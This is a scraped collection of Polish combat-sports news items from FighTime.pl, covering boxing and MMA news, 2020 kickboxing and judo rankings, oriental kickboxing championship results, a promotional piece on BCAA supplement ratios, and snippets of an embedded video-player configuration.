Walka Anthony'ego Joshuy z Tysonem Fury'm coraz bliżej. Projekt umowy jest gotowy, teraz czas na poprawki i podpisy.

Nie ma, co ukrywać, że szukujemy się na gigantyczny pojedynek. Walka 2021 roku – tak bez wątpienia patrzymy na potencjalne starcie Joshuy z Fury'm. Wiadomo, że temperatura jest ogromna, ale trzeba jeszcze zachować spokój. Sprawa jest na etapie formalnym, choć widać postępy, jednak pamiętajmy o sytuacji w jakiej żyjemy. Pandemia koronawirusa niejednokrotnie pokrzyżowała plany, także bierzemy to pod uwagę, ale jesteśmy optymistami i szykujemy się na bokserskie emocje na najwyższym poziomie.

O tym, że musi dojść do tego pojedynku było wiadomo. W styczniu sprawa nabrała tempa. Pojawiły się informacje, że Joshua i Fury mogą otrzymać po 100 milionów dolarów na głowę. Prawdopodobnie w kontrakcie znajdzie się zapis o pojedynku rewanżowym. Warto jeszcze wspomnieć o lokalizacji starcia. Nie będzie to Wielka Brytania. Wszystko wskazuje na to, że walka o panowanie wagi ciężkiej odbędzie się w jendym z krajów Bliskiego Wschodu.

Czas na konkrety i przedstawienie obecnej sytuacji. Szkic umowy jest gotowy i trafił do Boba Aruma. Teraz czas na analizę dokumentu, ewentualne uwagi i naniesienie poprawek. Co istotne – drobnych. Ponoć najważniejsze kwestie zostały już ustalone, w tym podział pieniędzy oraz sprawy związane z transmisją telewizyjną. Zatem pozostaje zacierać ręce i czekać na podpisanie kontraktu. Eddie Hearn, szef Marchroom Boxing, liczy, że nastąpi to w ciągu dwóch tygodni. Jakby tak realnie patrzeć to może będziemy świadkami swoistych walentynkowych podpisów. A tak poważnie – czekamy z niecierpliwością. Walka tytanów zelektryzuje cały świat. Tak dla pewności – powinna, a jak będzie – życie pokaże.

Joshua ostatnio boksował w grudniu. W Londynie w dzięwiątej rundzie odprawił Kubrata Pulewa i obronił pasy WBO, IBF, WBA oraz IBO. Fury walczł blisko rok temu. W siódmej rundzie pokonał Deontaya Wildera i  sięgnął po tytuł WBO.

Fot. Anthony Joshua Facebook

KM

Miło nam poinformować, że zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepszą zawodniczką amatorskiego K1 w roku ubiegłym została: #EwaPietrzkowska Wielkie gratulacje !!!

Na kolejnych miejscach :

2. Kamila Bałanda_oficjalna strona

3. Basia Nalepka

4. Pola Olivia Rogala

5. Paulina Magdalena Saczuk

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepszą zawodową walkę K1 (zawodowcy) #TOP5KICKBOXING Men Professional.

Sponsorem nagród: Masters Fight Equipment

Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu.

Najlepszą zawodniczką K1 Professional została Emilia Czerwińska. Ta niezwykle sympatyczna wojowniczka zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepiej radziła sobie w 2020 roku. Wielkie gratulacje !!! Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu

Na kolejnych miejscach :

2. Martyna Kierczyńska

3. Marta Waliczek

4. Basia Nalepka

5. Marta Chojnoska

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepszych zawodników kickboxingu amatorskiego K1 #TOP5KICKBOXING Men Amateur Polski Związek Kickboxingu

Sponsorem nagród: Masters Fight Equipment

Czas najwyższy przejść do wyróżnień w amatorskim K1. Wśród mężczyzn w 2020 roku zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepiej walczył i zwyciężał: #MichałBławdziewicz Wielkie gratulacje !!!

Na kolejnych miejscach:

2. Damian Piskorz

3. Piotr Stępień

4. Robert Soboń

5. Dominik Kaleta

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepsze zawodniczki kickboxingu amatorskiego K1 #TOP5KICKBOXING Women Amateur

Sponsorem nagród :Masters Fight Equipment

Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu.

.

Pokonując Conora McGregora, Dustin Poirier znalazł się na ustach wszystkich. Teraz przed 32-letnim zawodnikiem następne wyzwania i kolejka chętnych.

Gdy pokonasz prawdziwą gwiazdę, wielkiego mistrza stajesz na pierwszym planie. Tłumy biją ci brawo, wszyscy gratulują. Najkrócej – budzisz podziw, szacunek i stajesz się dla innych punktem odniesienia.
 

Swego czasu Conor McGregor był twarzą UFC. Irlandczyk miał na swoim koncie tytuły mistrzowskie w wadze piórkowej i lekkiej. Po roku nieobecności wrócił, aby spotkać się z Dustinem Poirierem. W tym zestawieniu McGregor uchodził za gwiazdę, ale nie było powiedziane, że Amerykanin stoi na straconej pozycji. Poirier w drugiej rundzie kopał rywala, czym go wyraźnie osłabił, a następnie zasypał go ciosami. Irlandczyk padł na ziemię, a tam Amerykanin postawił kropkę nad "i". Dla McGregora była to pierwsza porażka przed czasem w karierze! Z kolei Poirier zrewanżował się za przegraną z września 2014 roku.

Wygrywasz, a więc inni chcą cię poskromić. Tak jest w przypadku Poiriera. Chęć walki z Amerykaninem wyraził Charles Oliveira. – Mam nadzieję, że niebawem się zobaczymy. Jeszcze raz gratulacje za ostatni występ – napisał na Twitterze 31-letni Brazylijczyk.

Akces do rywalizacji z Poirierem zgłosił również Michael Chandler. Jego lista jest nieco dłuża. Chandler wśrod potencjalnych rywali wymienił również Conora McGregora i Khabiba Nurmagomedova. Gotowy do pojedynku z Poirierem jest Nate Diaz. Co warto dodać, gratulację 32-latkowi za pokonanie McGregora złożył Justin Gaethje.

32-letni Poirier odniósł 27 zwycięstwo w karierze. Teraz może spijać śmietankę i cieszyć się z triumfu. Potem czas na ciężką pracę, a co za tym idzie – sportowe wyzwania. Może trylogia z McGregorem? Sam Poirier wskazuje, że jednym z jego rywali mógłby być Nate Diaz. Jedno jest pewne – wokół kolejnej walki Amerykanina będzie gorąco.

Fot. Dustin Poirier Facebook

KM

Miło nam poinformować, że zdaniem Redakcji FighTime.pl – Telewizja sportów walki najlepszymi zawodnikami zawodowego K-1 w roku ubiegłym są ….. (tu fanfary) Dominik Zadora Fanpage oraz Kacper Frątczak.

Nasz ranking powstał po analizie wyników osiągniętych w 2020 roku, a także po szerokiej konsultacji z Polski Związek Kickboxingu.

Na kolejnych miejscach :
2. Rafał Dudek
3. Łukasz Pławecki
4. Michał Turyński
5. Wojciech Wierzbicki

Wszystkim serdecznie gratulujemy, a już jutro zaprezentujemy kolejne zestawienie. Tym razem na warsztat wzięliśmy najlepsze zawodniczki kickboxingu K-1 (zawodowcy) #TOP5KICKBOXING Women Professional Polski Związek Kickboxingu.

Sponsorem nagród: Masters Fight Equipment

Mimo trudnych warunków epidemicznych, nie da się osiągać świetnych wyników bez ciężkiego treningu. A gdzie o takie najlepiej? W stolicy Tatr czyli w Zakopanem. Tam też udało się wielu wybitnych pięściarzy, którzy trenują pod czujnym okiem Piotra Wilczewskiego. Ten znany sympatykom boksu, czołowy trener w Polsce a także właściciel Dzierżoniowskiego Klubu Bokserskiego, ma dobrą rękę do szkolenia i wyciskania siódmych potów z zawodników.

Jedenastodniowy obóz to przeplatanie zajęć technicznych, sparingów z biegami między innymi na Morskie Oko oraz treningami siłowymi, czyli to co „Tygrysy” lubią najbardziej. W zgrupowaniu biorą udział zawodnicy przygotowujący się do Mistrzostw Polski Juniorów oraz doświadczeni zawodnicy, rozpoznawalni nie tylko w kraju, ale również na świecie, którzy z kolei szykują się do startów na galach zawodowych. W Zakopanem obecność swoją potwierdzili Maciej "Striczu" Sulęcki, Mateusz Masternak, Kamil Bednarek, Michał ,,Szczupson" Leśniak, Kamil Łaszczyk , Błażej Nowak , Patryk Adasiewicz , Kuba Sulęcki , Marcel Sztafa, a więc młodość i doświadczenie. Ta mieszanka „wybuchowa” niewątpliwie może nas miło zaskoczyć w nadchodzącym sezonie.

Z informacji, które udało się uzyskać naszej redaktor Anna Kalinowicz pięściarzom dopisują świetne nastroje, co też widać po wpisach w mediach społecznościowych, a ciężkie warunki pogodowe hartują charakter zawodników.

Telewizja FighTime to emocje na najwyższym poziomie. U nas obejrzysz to, czego nie ma w telewizji. Z pasji i miłości do sztuk walk. Zapraszamy do oglądania codziennie od poniedziałku do piątku w godz. 10.00 – 15.00 tylko na naszej platformie (www/FighTime.pl).

[kod]

20 marca będziemy się emocjonować pojedynkiem Krzysztofa Głowackiego z Lawrencem Okolie o wakujący tytuł mistrza świata WBO wagi junior ciężkiej. Zaglądamy do karty walk gali, która odbędzie się w Wielkiej Brytanii.

Głowacki może wspaniale rozpocząć wiosnę 2021 roku. Jeśli pokona Okolie, ponownie znajdzie się na bokserskim szczycie. A sam pięściarz pragnie zwycięstwa, kibicom potrzeba zaś pozytywnych doznań. Długo toczyły się dywagacje wokół tej walki, ale w ostatnich dniach padło sakramentalne "tak" i konkretny termin – 20 marca. Gdyby nie koronawirus u Krzysztofa Głowackiego, starcie odbyłoby się w grudniu. Choć pierwotnie walkę planowano w czerwcu, ale na przeszkodzie stanęła pandemia. Wiadomo jednak, że żyjemy w trudnych i nieprzewidywalnych czasach, a zdrowie jest najwyższą wartością. Dlatego teraz ciężka praca, przygotowania i wiosną liczymy na wspaniałe starcie.

Dla Głowackiego będzie to pierwszy występ od czerwca 2019 roku, kiedy przegrał niesprawiedliwie z Mairisem Briedisem. Łotysz dopuścił się nieczystych zagrań, a potem nie chciał ponownie spotkać się z Polakiem. W związku z tym musiał zwakować pas WBO. Z kolei Okolie zaprezentował się w grudniu na Wembley podczas gali, której głównym wydarzeniem było starcie Anthony'ego Joshuy z Kubratem Pulewem. Brytyjczyk w drugiej rundzie znokautował Nikodema Jeżewskiego. Zatem nadarza się okazja, aby Głowacki pomścił rodaka.

20 marca będziemy ściskać kciuki za pięściarza urodzonego w Wałczu, ale na gali zobaczymy ciekawe pojedynki. W ringu zaprezentuje się Solomon Dacres. Pieściarz jest regularnym sparingpartnerem Anthony'ego Joshuy. Na ringu pojawi się Ramla Ali, która zmierzy się z Vanesą Caballero. Powrót do rywalizacji zaliczy niepokonany Joe Cordina. 29-letni Brytyjczyk ostatni pojedynek stoczył w listopadzie 2019 roku.

Podczas gali na szali pojawi się tytuł mistrza Wspólnoty Brytyjskiej wagi junior ciężkiej, o który zawalczą Chris Billam-Smith i Deion Jumah. Pierwszy ma koncie 11 zwycięstw i porażkę, zaś drugi wygrał wszystkie 13 starć.

O pas WBC wagi superlekkiej powalczą Chantelle Cameron i Melissa Hernandez. 29-letnia Brytyjka jest niepokonana, a w październiku wygrała z Adrianą dos Santos Araujo. Hernandez to doświadczona pięściarka, która stoczyła ponad 30 walk. 40-letnia Portorykanka wygrała 23.

Fot. Krzysztof Głowacki Facebook

KM

Koniec roku i początek nowego skłania do podsumowań i statystyk, z których wyłania się obraz dyscypliny i nazwiska zawodniczek i zawodników z najlepszym dorobkiem. Rok 2020 nie należał do łatwych i odcisnął mocne piętno na rywalizacji sportowej, nie mniej jednak kilka osób w polskim judo pokazało na co je stać. Zacznijmy od judoczek, bo tu wyników więcej i jest z czego wybierać.

Niekwestionowaną liderką rankingu została Angelika Szymańska (MKS Olimpijczyk Włocławek). Podopieczna Anety Szczepańskiej, naszej wicemistrzyni olimpijskiej oraz Romana Stawisińskiego pokazała, że pazurami wydziera swój kawałek europejskiego tortu i coraz mocniej zaznacza swoją pozycję. Widać, że Angelika poprawiła walkę w parterze czym wygrywa wiele walk. Do tego mocna tomoe-nage (rzut poświęcenia) i w tym roku wystarczyło na większość przeciwniczek. Angelika wywalczyła srebro na mistrzostwach Europy do lat 23 oraz piąte miejsce na seniorskich mistrzostwach Europy ( 2 walki wygrane), by na krajowym podwórku rozsiąść się na tronie kategorii 63 kg, gdzie królowała w mistrzostwach Polski seniorek i U23. Warto dodać, że jej trenerka – Aneta Szczepańska również swoje największe wyniki odnosiła w kategoriach 66 kg (srebro IO Atlanta 1996) i 63 kg (srebro ME Budapeszt 2004). Niech to będzie dobry prognostyk na kolejne lata dla Angeliki.

Drugie miejsce w rankingu „TOP 5 Judo” zajmuje zawodniczka AZS UW Warszawa, Katarzyna Sobierajska. Trenowana przez Zdzisława Grochowskiego juniorka rok po roku udowadnia, że sukces jest jej pisany. Trzeba tylko trenować, trenować i trenować. Po sukcesach z poprzedniego roku, gdzie jeszcze jako kadetka wywalczyła brąz mistrzostw Europy i piąte miejsce na świecie, w tym została najlepszą juniorką na starym kontynencie. Pięć walk wygranych i złoto dociążyło szyję Kasi. Do tego dołożyła mistrzostwo Polski juniorków i brąz w kategorii seniorów oraz udział w mistrzostwach Europy seniorów. Rośnie nam mocny punkt reprezentacji w kategorii do 70 kg. Brawo Kasia, tak trzymać !!!

Na trzecim miejscu uplasowała się Natalia Kropska, niezwykle ciekawa dwudziestoletnia zawodniczka GKS Czarni Bytom. Ta młoda i ambitna judoczka trzy lata temu sięgnęła po srebrny medal mistrzostw świata kadetów i brązowy mistrzostw Europy. Podopieczna Marka Słyka w tym roku wywalczyła brązowy krążek mistrzostw Europy do lat 23. Na krajowym podwórku dorzuciła mistrzostwo Polski juniorów i brąz w kategorii seniorów. Czekamy na kolejne zwycięstwa Natalii.

Czwartą lokatę w naszym zestawieniu zajmuje Beata Pacut. To druga z zawodniczek GKS Czarni Bytom w rankingu. Mimo, że nie wystartowała na mistrzostwach Polski to jako jedna z dwóch polek obok Szymańskiej, potrafiła wygrać dwie walki na mistrzostwach Europy, zajmując tym samym piąte miejsce. Ta sympatyczna judoczka w przeszłości była brązową medalistką młodzieżowych mistrzostw Europy oraz trzecią zawodniczką mistrzostw świata juniorów. W swoim dorobku ma także wicemistrzostwo Europy juniorek i srebro europejskiego czempionatu w drużynie seniorek z roku 20217. Mamy wrażenie, że Beata ostatniego słowa jeszcze nie powiedziała.

Ostatnie, piąte miejsce w rankingu zajmuje Kinga Wolszczak dwudziestolatka z WKS Śląsk Wrocław. Prowadzona przez Mirosława Wolszczaka, zbieżność nazwisk nie przypadkowa, od lat zdobywa medale. W tym roku została najlepszą juniorką wagi ciężkiej, trzecią seniorką i na mistrzostwach Europy U23 wygrała jedną walkę zajmując siódme miejsce. Liczymy, że w 2021 roku do swoich sukcesów dołoży kolejne.

W zestawieniu poza pierwszą piątką znalazły się zawodniczki, które na mistrzostwach Europy seniorek wygrały po jednej walce oraz na mistrzostwach Polski plasowały się na podium: Julia Kowalczyk (Polonia Rybnik) oraz Karolina Pieńkowska (AZS UW Warszawa). Te dwie utytułowane judoczki, muszą pozytywnie nas zaskoczyć w tym roku.

Wśród mężczyzn wybór piątki najlepszych judoków nie był taki prosty. Słabe starty przeplatały się z gorszymi, a zwycięstw jak na lekarstwo. Trzy walki wygrane na mistrzostwach Europy seniorów obrazują poziom męskiego judo w Polsce.

Dlatego pierwsze miejsce w rankingu przyznaliśmy zawodnikowi młodego pokolenia. Reprezentant WKS Śląsk Wrocław, Wojciech Kordyalik w roku poprzednim wywalczył piąte miejsce na mistrzostwach Europy (dwie walki wygrane) oraz został mistrzem Polski juniorów a także srebrnym medalistą w kategorii seniorów. Startował też na mistrzostwach Europy młodzieżowców, jednakże bez sukcesów. Liczymy, że w kolejnych latach Wojtek będzie silnym punktem kadry polski.

Na drugim miejscu w zestawieniu znalazł się Piotr Kuczera (KS Kejza Team Rybnik). Znany wszystkim sympatykom judo, zawodnik z Rybnika jest aktualnym mistrzem Polski seniorów w kategorii 90kg. Podczas czempionatu starego kontynentu wygrał jedną walkę. Nie mniej jednak w przeszłości wielokrotnie udowadniał, że stać go na więcej. Wierzymy, że w tym roku obudzi się i pokaże lwi pazur. Wiemy, że stać go na wiele.

Tomasz Szczepaniak z AZS Opole zajmuje w rankingu trzecie miejsce z dorobkiem jednej zwycięskiej walki na mistrzostwach Europy oraz srebrem mistrzostw Polski seniorów. Rok trudny to i wyników nie za dużo. Obyśmy szybko pokonali Covida i mogli normalnie rywalizować.

Czwarte miejsce w tym roku przyznajemy Maciejowi Sarnackiemu z TS Gwardia Olsztyn. Nasz najwyżej sklasyfikowany w rankingu Światowej Federacji Judo (IJF) „ciężki” nie wiele startował, nie mniej jednak z całej grupy polskich zawodników potrafił wygrać walkę na mistrzostwach Europy seniorów. Szkoda, że nie zobaczyliśmy go na mistrzostwach Polski.

Nieoczekiwanie na piąte miejsce wskoczył Przemysław Litwin z AZS AWF Wrocław. Ten młodzieżowiec na mistrzostwach Europy U23 wygrał jeden z pojedynków, a na mistrzostwach Polski młodzieżowców wywalczył srebro. Na seniorskim podwórku dołożył piąte miejsce, ale należy wierzyć, że zawodnik z Wrocławia w 2021 roku „odpali”.

Na sam koniec trzeba zwrócić uwagę na dwóch juniorów, którzy jeśli starczy im zapały, system nie zabije, a Covid odpuści, mogą nas miło zaskoczyć. Mowa o Michale Kowalczyku (66 kg) z UKJ Ryś Warszawa oraz Dymitrze Janczyliku (90kg) z UKS Galeon Gdynia. Obaj na mistrzostwach Europy juniorów wygrali po dwie walki, a także zostali mistrzami Polski w tej grupie wiekowej. Warto obserwować i wspierać ich rozwój.

Rok 2020 nie był łatwy dla całego sportu. Odwołanych wiele imprez, wielokrotne testowanie, choroby i brak możliwości ustabilizowania formy. Myślę, że w imieniu wszystkich życzymy sobie aby Covid już się skończył, byśmy mogli oglądać jak najwięcej Polaków na tatami. Nasza redakcja z zaciekawieniem czeka na rozpoczęcie rywalizacji i sukcesy naszych reprezentantów, a z laureatami „TOP 5 Judo” już niebawem spotkamy się w studio telewizyjnym.

Ranking TOP 5 Judo został stworzony w oparciu o ranking IJF/PZJUDO, liczbę zwycięstw na imprezach mistrzowskich oraz liczby startów poszczególnych zawodników, a także wytrawnego i fachowego oka Redakcji.

Fot. Teofanovic-Boris

Zapraszamy na "Sylwester z FighTime". Zobaczyć będzie można takie gale jak: Arena Fight Night #2, Piaseczno Fight Night #9, Sharks Attack #3, Wirtuoz Challenge #4 czy Rocky Warriors Cartel #4. Do tego wejścia studio live oraz programy "ONA" z Barbarą Nalepką i "ON" z Łukaszem Jaroszem.

[kod]

var player = new redGalaxy.Player("player").setup({
file: {
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/live_1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/live_1/live.livx/manifest",
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/live_1/live.livx/playlist.m3u8"
},
width: 640,
height: 380,
autoplay: false,
});

Suplementacja BCAA to szeroki temat. Aminokwasy występują w wielu formach, takich jak tabletki, proszek czy płyn. Jakby tego było mało, składniki BCAA, czyli leucyna, izoleucyna i walina występują w specyfikach w kilku różnych proporcjach. Mnogość wyboru może powodować dylemat, co wybrać. Postaramy się rozwiać wątpliwości.

Suplementacja BCAA to szeroki temat. Aminokwasy występują w wielu formach, takich jak tabletki, proszek czy płyn. Jakby tego było mało, składniki BCAA, czyli leucyna, izoleucyna i walina występują w specyfikach w kilku różnych proporcjach. Mnogość wyboru może powodować dylemat, co wybrać. Postaramy się rozwiać wątpliwości.

Proporcji jest kilka

BCAA występuje w wersji 2:1:1, 4:1:1, 8:1:1, 10:1:1, a nawet 14:1:1. Co to w właściwie znaczy? Cyfry są wskaźnikiem ilości leucyny do izoleucyny i waliny. Oznacza to, że w odżywce 2:1:1 na dwa gramy leucyny w składzie przypadnie jeden gram izoleucyny i jeden gram waliny. Skąd taka rozbieżność? Pojawiły się głosy, że proporcje mogą mieć wpływ na działanie aminokwasów.

Co mówią badania

Najprościej byłoby sięgnąć po naukowe porównanie wszystkich dostępnych wariantów aminokwasów, problem polega na tym, że nie ma na temat proporcji w BCAA zbyt wielu artykułów. Najlepiej przebadano stosunek 2:1:1 i takie preparaty są najpopularniejsze. Ciekawe badania można znaleźć również na temat proporcji 4:1:1. Odkryto, że taki rozkład substancji w BCAA korzystnie wpływa na pracę jelit. Na temat innych stosunków trudno znaleźć wiarygodne badania, a o ich naukowym porównaniu można jedynie pomarzyć.

Porównanie

Na badania musimy jeszcze poczekać, ale fenomen wysokoleucynowych preparatów musi mieć jakieś podstawy. Na rynku największą popularność ma proporcja 8:1:1, więc na niej się skupimy. Cena, zarówno 8:1:1, jak i 2:1:1 jest podobna, więc nie jest głównym czynnikiem determinującym wybór. Co właściwie możemy osiągnąć przez wysoką zawartość leucyny?

Dlaczego 8:1:1?

Dyskusja nad działaniem BCAA nadal trwa, a jednym z koronnych argumentów przeciwko suplementacji trzema aminokwasami zamiast samą leucyną jest ich wzajemna konkurencja o prekursor, dzięki któremu zostają wchłaniane. Teoretycznie, zwiększając ilość leucyny w BCAA matematycznie pozwalamy jej “wygrać” więcej przekaźników, przez co więcej leucyny zostaje wchłonięte przez organizm, jednocześnie nie pozbawiając się całkowicie izoleucyny i waliny. Warto przypomnieć, że wszystkie trzy aminokwasy są substancjami egzogennymi, to znaczy, że organizm nie jest w stanie sam ich syntetyzować i muszą być przyjęte z zewnątrz, dlatego nie warto rezygnować całkowicie z waliny i izoleucyny. Proporcja 8:1:1 wydaje się być odpowiednia dla osób, które czują niedobór leucyny, który może objawić się osłabieniem organizmu i szybszym męczeniem się.

Dlaczego 2:1:1?

Różne substancje oddziałują na siebie i nie inaczej jest z aminokwasami rozgałęzionymi. Według badań najkorzystniejszy dla człowieka stosunek leucyny do izoleucyny do waliny przedstawia się proporcją: 1,1:0,7:0,8. Pozostając w takim stosunku, aminokwasy najlepiej wspomagają nawzajem pożądane przez organizm właściwości. Najbliżej do tego odżywce 2:1:1. Takie przyjmowanie BCAA nie grozi również osiągnięciem progu leucynowego, czyli maksymalnego stężenia leucyny. Kiedy osiągniemy próg leucynowy, dalsza suplementacja tego aminokwasu jest absolutnie bezużyteczna, ponieważ ciało osiągnęło maksimum swojej wchłanialności.

Podsumowanie

Ciężko bazować na rzetelnych badaniach w tej materii, należy oprzeć się na własnej intuicji. Stosowanie BCAA w stosunku 2:1:1 ma swoje wytłumaczenie w idealnej proporcji aminokwasów rozgałęzionych. Odżywki 8:1:1 mogą przekonać tych, którzy obawiają się słabszego działania leucyny z powodu obecności reszty substancji.

Bardziej przekonuje Cię działanie BCAA 2:1:1 czy 8:1:1? Niezależnie, która opcja odpowiada Ci bardziej, najlepsze suplementy znajdziesz w Muscle Power, internetowym sklepie z odżywkami.

[kod]

var player = new redGalaxy.Player("player").setup({
file: {
dash: "//r.dcs.redcdn.pl/livedash/o2/Marklaw/live/live_1/live.livx",
ss: "//r.dcs.redcdn.pl/livess/o2/Marklaw/live/live_1/live.livx/manifest",
hls: "//r.dcs.redcdn.pl/livehls/o2/Marklaw/live/live_1/live.livx/playlist.m3u8"
},
});

Po zeszłorocznym niedosycie Wojciech Kosowski z Palestry Warszawa postanowił pokazać wszystkim, że dyskwalifikacja w finale to był przypadek. Najpierw w półfinale pokonał Macieja Guza z Fight Gym Lublin, posyłając go na deski backfistem, by za chwilę w pierwszej rundzie finału, zdemolować Mateusza Różaka z Thai Gym Tarnów, kopnięciem frontalnym.

– W tym roku nie mogłem pozostawić sędziom wątpliwości – podkreśla na swoim profilu Facebook Wojciech Kosowski.

Warto zauważyć, że Kosowski ma na swoim koncie kilka medali w tej konkurencji, jak choćby złoto w 2018 roku w Starachowicach, gdzie w finale pokonał Michała Wołosiuka z Fight Gym Lublin.

– W tym aspekcie muszę powiedzieć, że wśród faworytów wielkich niespodzianek nie było – mówi Krzysztof Kaproń członek zarządu Polskiego Związku Kickboxingu. – Choć zaskoczeniem była przegrana w walce finałowej Emilii Czerwińskiej ( SKF Boksing Zielona Góra ) z Emilią Krupczak (Hetman Bialystok ) w kategorii do 65 kg.

Mistrzostwa Polski Oriental Kickboxing pod względem organizacyjnym  były bardzo dobrze przygotowane.  Zasługa w tym przede wszystkim Andrzeja Wasilewskiego  trenera klubu Gladiator Siedlce i Marcina Przysowa Prezesa klubu. Dodatkowo wszyscy, startując mieli zapewniony bezpłatny nocleg i nie płacili startowego.

– Konkurencja oriental kickboxing ewoluuje – podkreśla Krzysztof Kaproń – W tym roku, również zostały zmienione przepisy między innymi dołożono do regulaminu możliwość wykonywania  rzutów przez biodro i zrezygnowano z muzyki tajskiej . Zmieniła się też  nazwa tej formuły sportowej z Oriental Rules na Oriental Kickboxing.

Trwające dwa dni zmagania przyniosły wiele ciekawych i mocnych walk, które można było obejrzeć na antenie Telewizji FighTime.pl oraz funpage PZKB. W sobotę w sumie oglądało mistrzostwa ponad 400 tysięcy widzów. Natomiast w niedzielę niewiele ponad 350 tysięcy. Cieszy tak duże zainteresowanie kickboxingiem w dobrym wydaniu.

Tytuły MP po raz kolejny zdobyli  Przemysław Kacieja ( SKF Boksing Zielona Góra ) i Kamil Siemaszko ( KS Czerwony Smok Poznań ). Na uwagę zasługuje  wygrana w półfinale Mateusza Pasiaka z Mistrzem Świata Low-kick Kacprem Frątczakiem. Najlepszymi zawodnikami mistrzostw zostali wybrani : Paulina Ilnicka ( Kaiser Sports ) oraz wspomniany wcześniej Wojciech Kosowski. Wśród klubów najlepiej spisali się gospodarze, czy Gladiator Siedlce.

Oprócz seniorów w Siedlcach wystartowali także juniorzy starsi. Pandemii położyła się cieniem niestety na ilości startujących. Nie umniejsza to jednak rangi mistrzostw choć wszyscy podkreślali, że czekają na zakończenie pandemii i normalne trenowanie i rywalizację. W juniorach starszych wygrywali +91kg Jakub Sakowski (Siedlecki Klub Sportowy Gladiator), -91kg Jakub Wawrzyniak (KS Czerwony SMOK Poznań), -81kg Mamikon Nikoghosyan (Siedlecki Klub Sportowy Gladiator), -71kg Mateusz Jakubowski (KS Czerwony Smok Poznań) – w finale z Larsem Czarnym (KO GYM Świebodzice) KO 1, -67kg Mateusz Foltyn (Klub Sportowy Pretorium Poznań) – w finale z Kacprem Zielińskim (Uczniowski Klub Sportowy Armia Polkowice) 3:0, -60kg Gabriel Sikora (Klub Sportowy Pretorium Poznań), -57kg Hubert Bagrowski (Uczniowski Klub Sportowy Armia Polkowice) oraz +70kg Hanna Wysocka (SKF Boksing Zielona Góra), -70kg Marta Gabas (Klub Sportowy Husaria Wieruszów).

Wynik walk finałowych MP Seniorów:

+91kg Piotr Boguciński (Szkoła Sztuk Walki Fighter Team Kraków) – Jacek Kozłowski (Smok Toruń) TKO 2

-91kg Filip Miszczak (Fight Gym Gdynia) – Oskar Mikułowski (Husarz Białystok) wo

-86kg Mateusz Pasiak (Siedlecki Klub Sportowy Gladiator) – Dawid Trajkowski (Uczniowski Klub Sportowy Armia Polkowice) 3:0

-81kg Artur Rawski (SMOK Toruń) – Alan Kalski (Fight Gym Gdynia) wo

-75kg Wojciech Kosowski (Palestra Warszawa) – Mateusz Różak (Thai Gym Tarnów) KO 1

-71kg Mateusz Janik (Thai Gym Tarnów) – Krzysztof Pyrka (Palestra Warszawa) 3:0

-67kg Kamil Siemaszko (KS Czerwony Smok Poznań) – Mateusz Białecki (Smok Toruń) RSC 3

-63,5kg Przemysław Kacieja (SKF Boksing Zielona Góra) – Jakub Syc (Legion Głogów) 2:1

-60kg Jakub Posłowski (Klincz Kielce) – Kamil Stanoch (Thai Gym Tarnów) TKO 1

-65kg Emilia Krupczak (Husarz Białystok) – Emilia Czerwińska (SKF Boksing Zielona Góra) 2:1

-48kg Paulina Ilnicka (Kaiser Sports) – Weronika Niedziałek (Siedlecki Klub Sportowy Gladiator) 3:0

Już 28 listopada Sebastian Romanowski (14-8-1, 4 KO, 2 SUB) podejmie Jonasa Magarda (11-4, 1 KO, 6 SUB) na gali FEN 31: LOTOS Fight Night. Stawką jego pojedynku będzie pas FEN w kategorii koguciej. Kto zostanie nowym królem dywizji do 61 kg?

[kod]

Adam Kowalski (12-5-1, 2 KO, 3 SUB) zmierzy się z Marcinem Wójcikiem (13-7, 6 KO, 5 SUB) podczas gali FEN 31: LOTOS Fight Night, która 28 listopada odbędzie się w Łodzi. Stawką tego pojedynku będzie pas mistrzowski w kategorii półciężkiej.

[kod]

Łukasz Borowski (4-8, 2 KO, 1 SUB) będzie rywalem Pawła Trybały (6-3, 6 KO) podczas gali FEN 31: LOTOS Fight Night, która 28 listopada odbędzie się w Łodzi. Limit tego pojedynku to 100 kilogramów.

[kod]

Zapraszamy do obejrzenia reportażu z letniego obozu FEN Summer Camp, który odbył się w Rabce Zdrój w sierpniu 2020 r..

[kod]

45-letni Anderson Silva został zwolniony z kontraktu z UFC. Brazylijczyk przegrał trzy ostatnie pojedynki.

Przez wiele lat uznawany był za najlepszego zawodnika MMA bez podziału na kategorie wagowe. Zachwycał, odnosił kolejne zwycięstwa, dominował w UFC. Bez wątpienia Anderson Silva jest legendą mieszanych sztuk walki, ale na jego wizerunku pojawiło się kilka rys.

Brazylijczyk premierową walkę stoczył na Campo Grand w czerwcu 1997 roku. Dla wielu osób może być to odległe wspomnienie. Po stoczeniu pięciu pojedynków w Brazylii, stawił się w Japonii na gali Shooto: The Top 2. Silva pokonał wygrał z Testsuji Kato, a w kolejnym starciu otrzymał szansę zdobycia mistrzostwa w wadze średniej. Na dystansie trzech rund zaprezentował się lepiej niż Hayato Sakurai. Był sierpień 2001 roku. Potem rywalizował w organizacji Pride, zaprezentował się na galach Conquista Fight 1, Gladiartor FC: Day 2. Z kolei w 2004 roku Brazylijczyk w Londynie świętował kolejnym mistrzowski pas. Tym razem zdominował wagę średnią organizacji Cage Rage. 28 czerwca 2006 roku Silva rozpoczął swoją przygodę z UFC. W debiucie "Spider" ekspresowo uporał się z Chrisem Lebenem. Po 49 sekundach i ciosie kolanem Amerykanin nie był zdolny do dalszej rywalizacji. Cztery miesiące później Silva został mistrzem UFC. Pokonał Rich Franklina.

